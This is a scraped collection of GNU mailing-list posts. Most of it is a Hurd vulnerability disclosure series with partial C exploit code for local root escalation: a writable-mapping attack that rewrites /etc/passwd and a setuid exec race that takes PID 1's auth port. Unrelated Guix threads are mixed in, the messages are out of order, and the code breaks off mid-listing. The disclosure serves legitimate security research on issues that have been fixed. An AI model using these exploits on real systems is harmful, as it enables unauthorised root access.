Re: [VULN 0/4] Hurd vulnerability details

[Guy-Fleury Iteriteka]

Thank you very much!
I now understand things that I desperately want to know about hurd internal.

On November 2, 2021 6:31:17 PM GMT+02:00, Sergey Bugaev  
wrote:
>Hello!
>
>As promised [0], here are the details of the Hurd vulnerabilities I have found
>earlier this year [1] [2].
>
>[0]: https://lists.gnu.org/archive/html/bug-hurd/2021-10/msg6.html
>[1]: https://lists.gnu.org/archive/html/bug-hurd/2021-05/msg00079.html
>[2]: https://lists.gnu.org/archive/html/bug-hurd/2021-08/msg8.html
>
>(You'll notice that I'm formatting this just like a patch series. I'll even try
>to send it out with git send-email; if you're reading this, it has worked!)
>
>These texts are partly based on the mails and write-ups I sent to Samuel at the
>time, but most of the text is new, rewritten to incorporate the better
>understanding that I now have as the result of exploring the issues and working
>with Samuel on fixing them.
>
>I've grouped the information by the four "major" vulnerabilities -- ones that I
>have actually written an exploit for. Other related vulnerabilities are briefly
>mentioned in the notes sections.
>
>Each text contains a short and a detailed description of the relevant issue,
>source code of the exploit I have written for the issue, commentary on how the
>exploit works, and a description of how we fixed the issue. While this should
>hopefully be an interesting read for everyone, understanding some of the 
>details
>requires some familiarity with the Mach and Hurd mechanisms involved. I've 
>tried
>to briefly describe the necessary bits (as I understand them myself) in the
>"Background" sections throughout the texts -- hopefully this will make it 
>easier
>to understand. Please don't hesitate to ask me questions (while I can still
>answer them)!
>
>I also hope that all this info should be enough to finally allocate official
>CVEs for these vulnerabilities, if anyone is willing to go forward with that in
>my absence.
>
>While all of the vulnerabilities described have been fixed, most of the fixes
>are not yet in the main Hurd tree for legal reasons: namely, my FSF copyright
>assignment process is still unfinished. All the out-of-tree patches with the
>fixes can be found in the Debian repo [3].
>
>[3]: https://salsa.debian.org/hurd-team/hurd/-/tree/master/debian/patches
>
>Our work on fixing these vulnerabilities required some large changes and 
>touches
>most of the major Hurd components (now I can actually name them: glibc, GNU
>Mach, libports, libpager, libfshelp, libshouldbeinlibc, lib*fs, proc server,
>exec server, *fs, ...) -- and this was even more true of the previous designs
>that we have considered (the final design ended up being the most compact one).
>Still, it's kind of amazing _how little_ has changed: we managed to keep most
>things working just as they were (with the notable exception of mremap ()). The
>Hurd still looks and behaves like the Hurd, despite all the changes.
>
>Finally, I should note that there still are unfixed vulnerabilities in the 
>Hurd.
>There's another "major" vulnerability that I have already written an exploit
>for, but I can't publish the details since it's still unfixed. I won't be there
>to see it fixed (assuming it will take less than a year to fix it -- which I
>hope it will), but Samuel should have all the details.
>
>Let me know what you think!
>
>Sergey
>

Re: [VULN 0/4] Hurd vulnerability details

[Vasileios Karaklioumis]

Fantastic work and writeup.

Apologies for interjecting here.

On Tue, Nov 2, 2021 at 6:54 PM Samuel Thibault 
wrote:

> Hello,
>
> Thanks a lot for this writing! That'll surely be an interesting read for
> whoever wants to look a bit at the details of how the Hurd works. And of
> course thanks for finding and fixing the vulnerabilities :)
>
> Samuel
>
>

-- 
V. G. Karaklioumis

Unable to define shebang for guix shell file

[Jacob Hrbek]

I am unable to define a guix shell file with shebang to decrease the complexity 
needed in the repository managing (so that i can just do ./path/to/guix.scm for 
guix to invoke `guix shell -f ./path/to/guix.scm` instead of having to sanitize 
the runtime) as the issue is that POSIX shebang allows only one argument and 
due to the way we handle reproducibility the shebang has to be `#!/usr/bin/env 
`

Proposing to integrate guix-shell for this purpose (inspired by NixOS) e.g.

```nix

#!/usr/bin/env nix-shell

# NixOS shell configuration to bootstrap the required dependencies to run and 
use the editor

# NOTE(Krey): This is designed to contain ONLY editor-specific configuration 
**NOT** project specific

let

    nivSources = builtins.fetchGit {

    url = "ssh://gi...@git.dotya.ml:RiXotStudio/std-niv.git";

    rev = "7664e29d8ba174cde2e4ff98331fa12e18258b7a"; # 24/10/2021-EU 
23:57:10 CEST

    ref = "central";

    };

in {

    sources ? import "${nivSources}/sources.nix",

    nixpkgs ? import sources.nixpkgs {},

}:

with nixpkgs;

    stdenv.mkDerivation {

    name = "RiXotStudio_emacs-config";

    buildInputs = [

        fira-code # Default font with liqurature support

        emacs # Editor

    ];

    }

```

-- Jacob "Kreyren" Hrbek

Sent with ProtonMail Secure Email.

publickey - kreyren@rixotstudio.cz - 0x1677DB82.asc
Description: application/pgp-keys


signature.asc
Description: OpenPGP digital signature

[VULN 2/4] No read-only mappings

[Sergey Bugaev]

Short description
=

A single pager port is shared between anyone who mmaps a file, allowing anyone
to modify any files they can read. This can be trivially exploited to get full
root access to the system.


Background: Mach memory objects
===

Mach has the concept of memory objects, also called pagers. A memory object is
essentially a collection of memory pages that can be mapped into a task address
space. Memory objects can be implemented both in userspace or in the kernel.
Like everything else in Mach, a memory object is represented by a port.

A memory object port can be passed to the vm_map () call to map the object to
the address space of a task. Mach itself acts as the client of the memory
object, sending various requests to the object when it needs to read or write
pages of data that belong to the memory object.

An important property of (shared, as in MAP_SHARED) mappings is *coherence*: any
changes made to the data (whether directly through the mapping or through some
other means) must be immediately visible to everyone who has the object mapped.
This basically requires a single set of physical pages to be shared between
tasks, i.e. sharing a single set of physical pages is not only an optimization,
but a hard requirement. Mach takes care to maintain this invariant, and only
keeps a single copy of each logical page of a memory object (unless copying is
requested explicitly).


Background: io_map ()
=

On the Hurd, the common way to get a memory object is through the io_map ()
call, defined as follows:

/* Return objects mapping the data underlying this memory object.  If
   the object can be read then memobjrd will be provided; if the
   object can be written then memobjwr will be provided.  For objects
   where read data and write data are the same, these objects will be
   equal, otherwise they will be disjoint.  Servers are permitted to
   implement io_map but not io_map_cntl.  Some objects do not provide
   mapping; they will set none of the ports and return an error.  Such
   objects can still be accessed by io_read and io_write.  */
routine io_map (
io_object: io_t;
RPT
out memobjrd: mach_port_send_t;
out memobjwt: mach_port_send_t);

io_map () can be called on a file; depending on whether the file was opened for
reading, writing, or both, some of the returned memory objects can be null.

The implementation of mmap () in glibc goes something like this (obviously,
greatly simplified):

mmap (...)
{
  mach_port_t robj, wobj, memobj;

  io_map (io, , );
  memobj = (prot & PROT_WRITE) ? wobj : robj;

  if (memobj == MACH_PORT_NULL)
/* The translator doesn't provide this sort of access to us.  */
return __hurd_fail (EACCES);

  vm_map (mach_task_self (), ..., memobj, ...);
}


The issue
=

As I mentioned, it's essential for coherence that there's a single copy of each
page in core, shared between all tasks that have it mapped. This is why,
generally, there can only be a single pager per file -- not two distinct pagers
for read-only and writable access!

This means that even when io_map () returns null for a writable memory object,
the returned supposedly read-only memory object is still a port to the same,
single pager for this file, which can be used for both reading and writing.
While an mmap () call will behave as expected -- map the object read-only if so
requested, return an error if asked to make a writable mapping since wobj is
null -- nothing stops an attacker from calling vm_map () explicitly to create a
writable mapping, nor from skipping the actual mapping and just talking to the
pager directly using the port, like Mach would.


The exploit
===

I can overwrite arbitrary files, at least on the root ext2fs, that I have read
access to. It's trivial to get root access from here. I chose to stick with the
password server and erasing /etc/passwd again. The exploit even makes sure to
restore /etc/passwd contents after getting root, so that the system doesn't end
up in a broken state.


Exploit source code
===

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

int
main ()
{
  error_t err;
  file_t file;
  file_t password_server;
  struct stat64 st;
  mach_port_t robj, wobj;
  vm_address_t addr = 0;
  void *buffer;
  auth_t root_auth;

  file = file_name_lookup ("/etc/passwd", O_READ, 0);
  if (!MACH_PORT_VALID (file))
error (1, errno, "file_name_lookup");

  password_server = file_name_lookup (_SERVERS_PASSWORD, 0, 0);
  if (!MACH_PORT_VALID (password_server))
error (1, errno, "file_name_lookup");

  err = io_stat (file, );
  if (err)
error (1, err, "io_stat");

  err = io_map (file, , );
  if (err)
error (1, err, "io_map");

  err = vm_map (mach_task_self (),
, st.st_size, 0,
1, robj, 0, 0,
VM_PROT_READ|VM_PROT_WRITE,
VM_PROT_READ|VM_PROT_WRITE,
  

[VULN 4/4] Process auth man-in-the-middle

[Sergey Bugaev]

Short description
=

The use of authentication protocol in the proc server is vulnerable to
man-in-the-middle attacks, which can be exploited for local privilege escalation
to get full root access to the system.


Background: authentication
==

Here, the word "authentication" refers not to a human user signing in to the
system, but rather to a component of the system communicating and proving its
authority to another component of the system. For example, to be able to open
and read a file, a client process may need to convince the translator which
provides the file that the client has the appropriate UIDs to be allowed to
access the file. Essentially, the Hurd authentication mechanism serves to bridge
the capability system of Mach with the *ambient authority* system of Unix UIDs.

To make the rest of the description easier to follow, I'm going to name the
involved actors, as is commonly done in literature [0]:

* Alice is a client process who wishes to authenticate itself
* Bob is a server process who's accepting authentication
* Carol is the Hurd auth server

[0]: https://en.wikipedia.org/wiki/Alice_and_Bob

The Hurd represents authority as _auth handles_, which are ports to the auth
server (Carol); each auth handle corresponds to a set of UIDs (and GIDs)
maintained by Carol. For Alice to authenticate itself to Bob means her
demonstrating (and proving) to Bob that she has an auth handle with a given set
of UIDs. A straightforward way to do that would be for Alice to send her auth
handle to Bob, letting Bob inspect it (by asking Carol what UIDs it represents).
However, giving Bob direct access to the auth handle is completely unacceptable,
because Alice may actually be more privileged than Bob: for instance, Alice may
be a root-owned process who reads a file from a file system implemented by Bob,
an unprivileged translator. The mere act of Alice authenticating herself should
not result in Bob getting root access.

So the Hurd authentication mechanism is instead designed as a three-way
handshake between Alice, Bob, and Carol:

1. First, Alice and Bob "shake hands" by agreeing on a "rendezvous" port right;
   this port right does not have to be anything special, but the two sides need
   to be in agreement about what it is. The typical way this works is that Alice
   creates a fresh new port to serve as the rendezvous port, and initiates the
   authentication process by sending the rendezvous port to Bob in a
   foo_reauthenticate () RPC call.

2. Next, Alice "shakes hands" with Carol the auth server by sending her the
   rendezvous port in a auth_user_authenticate () RPC call on her auth handle.

3. Concurrently with that, upon receiving the rendezvous port from Alice, Bob
   also "shakes hands" with Carol by also sending her the rendezvous port in a
   auth_server_authenticate () RPC call.

Carol matches up the two calls by the rendezvous port and returns Alice's UIDs
(but not her handle!) to Bob. Provided Bob trusts Carol (as he should, since
she's the trusted system auth server), he now reliably knows Alice's UIDs, but
he never got access to her auth handle.

Note: the role the rendezvous port plays in this is in a way similar to a
single-use read-only auth handle.


Background: man-in-the-middle attacks
=

The design described above still has a fatal flaw: the possibility of
man-in-the-middle attacks. Let's imagine there's another process, Eve, who
stands in between Alice and Bob; so Alice is not talking to Bob directly, but
rather to Eve, while Eve is trying to impersonate Alice to Bob. (It would
perhaps be more correct to name the attacker Mallory rather than Eve, but I've
been thinking of her as of Eve for multiple years now, so I'll stick with that
name.)

Alice sends her rendezvous port to Eve in a foo_reauthenticate () RPC call. Eve,
instead of sending the port to Carol the auth server in a
auth_server_authenticate () call, forwards the port to Bob in her own
foo_reauthenticate () call. Bob then asks Carol about this rendezvous port, and
gets Alice's UIDs in response, since it's Alice (and not Eve) who passes the
rendezvous port to Carol on the client side. Yet, Bob believes the UIDs to
belong to Eve, since it's her who has been interacting with him. And so, Eve has
now effectively stolen Alice's identity.

Knowing that this could happen, Bob has to be aware that the UIDs Carol tells
him about may not, in fact, belong to the client who has initiated the
authentication process with him (Eve), they may instead belong to someone else
(Alice) who's being man-in-the-middle-attacked.

To make this work, the Hurd authentication protocol has one more feature: the
_new port_ mechanism. This new port is a port right that Bob may pass back to
Alice through Carol. Bob passes this new port to auth_server_authenticate (),
and Alice receives it from auth_user_authenticate (). In case of a
man-in-the-middle attack, it is Alice -- the 

[VULN 3/4] setuid exec race

[Sergey Bugaev]

Short description
=

When trying to exec a setuid executable, there's a window of time when the
process already has the new privileges, but still refers to the old task and is
accessible through the old process port. This can be exploited to get full root
access to the system.


Background: setuid exec
===

setuid is of course the Unix mechanism for raising privileges, whereby a
process, upon executing a specially-marked executable file, is given the
privileges of the owner of the file (typically root).

On the Hurd, this is implemented as follows:

* A process wishing to exec an executable file calls file_exec_paths () on the
  file, effectively asking the translator that provides the file to call
  exec_exec_paths () on the task.

* If the translator wants to implement setuid behavior for the file, it
  reauthenticates the process and the provided I/O ports (file descriptors and
  cwd) to the new set of UIDs.

* The translator calls exec_exec_paths (), passing the new ports to the exec
  server along with the EXEC_SECURE flag. The EXEC_SECURE flag instructs the
  exec server to load the executable into a fresh new task that's not accessible
  to the original task, instead of reusing the same task as it does otherwise.
  (Technically, that's what EXEC_NEWTASK, which is implied by EXEC_SECURE, does;
  EXEC_SECURE enables some additional tweaks on top of that.)

* If loading the executable into the new task succeeds, the exec server calls
  proc_reassign (), which kills off the old task, assigns the new task to the
  process, and also invalidates the old process port (the process port created
  for the new task becomes the new port of the process). As far as the Mach
  personality of the system is concerned, this is a fresh new task with a fresh
  new process port; but since it keeps all the process state, from the Unix
  point of view it's still the same process, only running a new executable.

The use of a fresh task (and recreation of the process port) is necessary
because unprivileged processes have access to the task and process port of the
original process; they would get access to the new privileged process if the
task and/or process ports were kept valid.

Please note that the exec server is (almost) not involved in the actual process
of changing UIDs, that's entirely up to the translator to do -- and translators
could implement different semantics than Unix setuid.


The issue
=

The reauthenticated I/O ports are only given out to the new task if the exec
succeeds. But reauthenticating the process does not create a new reauthenticated
process, it only changes authentication of the same process. The process is
still accessible to the process itself, and to anyone else who has access to the
task or process port. Some time later, if the exec succeeds, the task is killed
and the process port is invalidated. During the window of time between these two
events, the process is still accessible through the old task and process ports,
but already has the new (root) privileges.

Moreover, this window of time can be easily made arbitrarily long, since the
translator (specifically, the exec_reauth () function in libshouldbeinlibc)
proceeds to reauthenticate the cwd port after reauthenticating the process. So
by the time a io_reauthenticate () request is received on the cwd port, the
process should already be reauthenticated, _and_ we know the process port won't
be invalidated before io_reauthenticate () returns.


The exploit
===

We create two tasks, one that will set its cwd to a fresh port (which only has
to _not_ reply to the incoming message) and start to exec a setuid executable;
the other task will get access to the process of the first task and wait until
that process is given root privileges (as far as the proc server is concerned).

>From here on, it's simple to get actual full root access (that is, a root auth
port). We get access to a task of some process that already runs as full root (I
chose PID 1), and just ask it nicely to give us its auth port using
msg_get_init_port (INIT_PORT_AUTH).


Exploit source code
===

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

int
main ()
{
  error_t err;
  pid_t child_pid;
  process_t child_proc;
  task_t pid1_task;
  mach_port_t pid1_msgport;
  auth_t root_auth;

  child_pid = fork ();
  if (child_pid < 0)
error (1, errno, "fork");

  if (child_pid == 0)
{
  file_t fake_cwdir;

  sleep (1);

  err = mach_port_allocate (mach_task_self (), MACH_PORT_RIGHT_RECEIVE,
_cwdir);
  if (err)
error (1, errno, "mach_port_allocate");

  err = mach_port_insert_right (mach_task_self (), fake_cwdir,
fake_cwdir, MACH_MSG_TYPE_MAKE_SEND);
  if (err)
error (1, errno, "mach_port_insert_right");

  _hurd_port_set (&_hurd_ports[INIT_PORT_CWDIR], fake_cwdir);

 

Re: [VULN 0/4] Hurd vulnerability details

[Samuel Thibault]

Hello,

Thanks a lot for this writing! That'll surely be an interesting read for
whoever wants to look a bit at the details of how the Hurd works. And of
course thanks for finding and fixing the vulnerabilities :)

Samuel

[VULN 0/4] Hurd vulnerability details

[Sergey Bugaev]

Hello!

As promised [0], here are the details of the Hurd vulnerabilities I have found
earlier this year [1] [2].

[0]: https://lists.gnu.org/archive/html/bug-hurd/2021-10/msg6.html
[1]: https://lists.gnu.org/archive/html/bug-hurd/2021-05/msg00079.html
[2]: https://lists.gnu.org/archive/html/bug-hurd/2021-08/msg8.html

(You'll notice that I'm formatting this just like a patch series. I'll even try
to send it out with git send-email; if you're reading this, it has worked!)

These texts are partly based on the mails and write-ups I sent to Samuel at the
time, but most of the text is new, rewritten to incorporate the better
understanding that I now have as the result of exploring the issues and working
with Samuel on fixing them.

I've grouped the information by the four "major" vulnerabilities -- ones that I
have actually written an exploit for. Other related vulnerabilities are briefly
mentioned in the notes sections.

Each text contains a short and a detailed description of the relevant issue,
source code of the exploit I have written for the issue, commentary on how the
exploit works, and a description of how we fixed the issue. While this should
hopefully be an interesting read for everyone, understanding some of the details
requires some familiarity with the Mach and Hurd mechanisms involved. I've tried
to briefly describe the necessary bits (as I understand them myself) in the
"Background" sections throughout the texts -- hopefully this will make it easier
to understand. Please don't hesitate to ask me questions (while I can still
answer them)!

I also hope that all this info should be enough to finally allocate official
CVEs for these vulnerabilities, if anyone is willing to go forward with that in
my absence.

While all of the vulnerabilities described have been fixed, most of the fixes
are not yet in the main Hurd tree for legal reasons: namely, my FSF copyright
assignment process is still unfinished. All the out-of-tree patches with the
fixes can be found in the Debian repo [3].

[3]: https://salsa.debian.org/hurd-team/hurd/-/tree/master/debian/patches

Our work on fixing these vulnerabilities required some large changes and touches
most of the major Hurd components (now I can actually name them: glibc, GNU
Mach, libports, libpager, libfshelp, libshouldbeinlibc, lib*fs, proc server,
exec server, *fs, ...) -- and this was even more true of the previous designs
that we have considered (the final design ended up being the most compact one).
Still, it's kind of amazing _how little_ has changed: we managed to keep most
things working just as they were (with the notable exception of mremap ()). The
Hurd still looks and behaves like the Hurd, despite all the changes.

Finally, I should note that there still are unfixed vulnerabilities in the Hurd.
There's another "major" vulnerability that I have already written an exploit
for, but I can't publish the details since it's still unfixed. I won't be there
to see it fixed (assuming it will take less than a year to fix it -- which I
hope it will), but Samuel should have all the details.

Let me know what you think!

Sergey

[VULN 1/4] Fake notifications

[Sergey Bugaev]

Short description
=

libports accepts fake notification messages from any client on any port, which
can lead to port use-after-free, which can be exploited for local privilege
escalation to get full root access to the system.


Background: Mach notifications
==

The Mach kernel has a mechanism to let a task know when various things happen to
ports that it has. Specifically, a task can request to be notified when a
specific port dies by using the mach_port_request_notification () RPC, which is
documented here [0].

[0]: https://www.gnu.org/software/hurd/gnumach-doc/Request-Notifications.html

There are several _variants_, or _flavors_, of notifications. We're interested
in two of them:

* MACH_NOTIFY_NO_SENDERS (aka no-senders), which a task can request on a receive
  right that it owns. It will be notified once all the send rights to the port
  are gone, so there's no one left who could send more messages to the port
  (assuming we also know that there are no more send-once rights, or don't care
  about them). This is kind of like receiving EOF on the read end of a Unix pipe
  once the write end is closed by all the potential writers.

* MACH_NOTIFY_DEAD_NAME (aka dead-name), which a task can request on a send or
  send-once right that it has. It will be notified if the port is destroyed by
  its owner and the right that the task had turns into a dead name. This is kind
  of like receiving SIGPIPE/EPIPE when trying to write into the write end of a
  "broken" Unix pipe (one whose read end has been closed).

The notifications are naturally delivered to the task as Mach messages, namely
the mach_notify_* () RPCs. It's up to the requesting task to specify where (on
which port) it wants the notification delivered. The no-senders notification for
a port is typically requested to the port itself, since it's a about a receive
right (so it is possible to receive it on the port itself), and also because the
no-senders message does not otherwise specify an explicit port name.

The dead-name notification cannot be requested to the port itself, so it's
typically requested to some other related port. The dead-name notification
carries the name of the port that has turned into the dead name. Importantly, it
only carries a name as an integer -- not a port right -- since a dead name right
carried in a message gets received as MACH_PORT_DEAD (-1), which would be rather
useless to the receiver.

To prevent potential races between processing the notification and the now-dead
name getting deallocated and reused for another right, the dead-name
notification "carries" an extra reference to the dead name that the receiving
task should deallocate _as if_ the message actually carried a right, not a name.
(A cleaner alternative design would be to make this all a userspace concern,
i.e. it would be up to userspace to keep an extra reference to the right it
wants to get dead-name notifications about. Exercise for the reader: why
wouldn't that work?)


Background: libports


libports is a core library of the Hurd that wraps the Mach ports API into a
higher-level interface. libports is used by most of the Hurd servers (everything
except /hurd/startup, I believe). libports lets the program associate any custom
data (object) with a receive right, and provides the API to look up the object
by the port and the other way around.

libports objects (struct port_info-s) are reference counted; once all the
references go away, the custom data is cleared and the port right is
deallocated. An object can be referenced explicitly (by other objects, perhaps),
and in addition libports "factors in" outstanding send rights to the port as
another reference to the object. So, an object will be alive as long as there
are in-process references to it *or* send rights to its port.

To track when send rights to a port disappear, libports requests no-senders
notifications for the port, and once a notification arrives, libports
automatically decrements the object reference count.

libports also provides a wrapper for the dead-name notifications: you call
ports_interrupt_self_on_port_death (object, port_name), and libports will
request a dead-name notification for the port_name, and cancel your thread if
the port dies. This is typically used to cancel waiting RPC implementations
(such as a read on a pipe) if the reply port dies.


The issue
=

The notification messages are implicitly handled by libports as follows:

error_t
ports_do_mach_notify_no_senders (struct port_info *pi,
 mach_port_mscount_t count)
{
  if (!pi)
return EOPNOTSUPP;
  ports_no_senders (pi, count);
  return 0;
}

error_t
ports_do_mach_notify_dead_name (struct port_info *pi,
mach_port_t dead_name)
{
  if (!pi)
return EOPNOTSUPP;
  ports_dead_name (pi, dead_name);

  /* Drop gratuitous extra reference that the notification creates. */
  

Re: Request to use GNU guix reproducibility bugs data for research project | University of Waterloo

[Julien Lepiller]

The guix data service also has some info on reproducibility. See 
data.guix.gnu.org
(Select master, the latest processed revision, and add /package-reproducibility 
to the URL). This page compares between berlin and bordeaux.

There are a lot of unknowns because the build farms haven't both built some of 
the packages, so we can't compare, but of those tgat have been built on both 
sites, we can already observe some interesting differences.

Le 2 novembre 2021 08:01:51 GMT-04:00, zimoun  a 
écrit :
>Hi,
>
>
>On Fri, 29 Oct 2021 at 16:48, Muhammad Hassan  
>wrote:
>
>> I would like to scrap reproducibility bugs data from the linked
>> website to use in my research project that is being conducted at the
>> University of Waterloo. I am a Master's student.
>
>Nice!  Thank for your interest to Guix.
>
>
>> The project aims to provide automated support for non-reproducibility
>> detection.
>
>Non-reproducibility can be large. Against which one are you working?
>
>
>> Please tell me if there is an API that I can use to scrap the data.
>
>For instance, “guix build --no-substitutes” followed by “guix build
>--check” allows you to locally build and rebuild for checking if the
>build is reproducible – bitwise speaking.  Then, “guix challenge” allows
>to check your local builds against the build-farm.  Note that two
>build-farms are available [1,2] for various architectures.
>
>The Guix project runs a Data Service to collect various data. This
>service serves a JSON API (not-really documented but roaming on IRC
>#guix helps ;-)).  One year ago (already, damned!), a tiny and drafty
>script to somehow get the reproducibility coverage was around [3].  I
>have not worked on it since then and I do not know if it still works.
>Perhaps, it might be an entry-point for working on reproducibility data
>from Guix.
>
>Feel free to ask more details.
>
>
>1: 
>2: 
>3: 
>
>
>Hope that helps,
>simon
>
>PS: I close the issue since it is not one, IIUC.  Instead, let redirect
>to the mailing list guix-devel which seems a better place for discussing
>such request. :-)
>
>

Request to use GNU guix reproducibility bugs data for research project | University of Waterloo

[zimoun]

Hi,


On Fri, 29 Oct 2021 at 16:48, Muhammad Hassan  
wrote:

> I would like to scrap reproducibility bugs data from the linked
> website to use in my research project that is being conducted at the
> University of Waterloo. I am a Master's student.

Nice!  Thank for your interest to Guix.


> The project aims to provide automated support for non-reproducibility
> detection.

Non-reproducibility can be large. Against which one are you working?


> Please tell me if there is an API that I can use to scrap the data.

For instance, “guix build --no-substitutes” followed by “guix build
--check” allows you to locally build and rebuild for checking if the
build is reproducible – bitwise speaking.  Then, “guix challenge” allows
to check your local builds against the build-farm.  Note that two
build-farms are available [1,2] for various architectures.

The Guix project runs a Data Service to collect various data. This
service serves a JSON API (not-really documented but roaming on IRC
#guix helps ;-)).  One year ago (already, damned!), a tiny and drafty
script to somehow get the reproducibility coverage was around [3].  I
have not worked on it since then and I do not know if it still works.
Perhaps, it might be an entry-point for working on reproducibility data
from Guix.

Feel free to ask more details.


1: 
2: 
3: 


Hope that helps,
simon

PS: I close the issue since it is not one, IIUC.  Instead, let redirect
to the mailing list guix-devel which seems a better place for discussing
such request. :-)

Re: SWH and lookup (bug?)

[zimoun]

Hi Ludo,

On Fri, 29 Oct 2021 at 16:57, Ludovic Courtès  wrote:

> Right now Sway’s origin refers to the “1.5.1” tag.
>
> I found the problem:

Wow!  Thanks for sharing.

> The solution is to implement pagination (yuk!), or to use an endpoint to
> look up a branch by name instead of using ‘snapshot-branches’ (is there
> such an endpoint?).

Maybe, the solution is to drop referring by tag and only use commit.  As
you proposed elsewhere [1]:

No, I think we should consider always referring to commits
instead of tags.  It’s annoying from a readability viewpoint,
but it would ensure reproducibility.  Even flatpak has this
policy.  :-)

  https://github.com/flathub/flathub/wiki/App-Requirements

Although, it would be hard and a lot of work for switching, it would
solve many of lookup issues.

At least, we could refer to commit instead of tag in ’origin’ for these
specific packages.  Bah, it is inelegant. :-)

Note that using another endpoint via SWHID could be an option.  As
discussed here [2].  For instance, the lookup would use Disarchive-DB.
On one hand, it would ease coverage and so on.  On the other hand, it
means rely on another service — it does not appears straightforward when
speaking about long-term support; although Disarchive-DB is somehow a
Git repo, i.e., archival on SWH is more or less easy, but it is still
missing a mechanism to locally fallback is this very service is down.
Well, the story is not complete yet. ;-)

1: 
2: 

Cheers,
simon

Re: Patches that should be applied in the Future

[Jelle Licht]

Ludovic Courtès  writes:

> Hi!
>
> Jelle Licht  skribis:
>
>> What can we do to make sure we won't simply forget to apply this and
>> other such changes? 
>
> I’d suggest making this change right away in ‘core-updates’.
We need to override a change that has not landed in core-updates yet; it
only exists on c.u.f. last I checked.

I could merge c.u.f. into c.u. this week and subsequently fix this issue
in either the merge commit itself or a fixup immediately after, if that
is what you are saying.

> After all, the reason we introduced ‘-frozen’ is so we could keep having
> fun on ‘core-updates’ while things are being stabilized elsewhere.

For some definitions of "fun" :-). 

- Jelle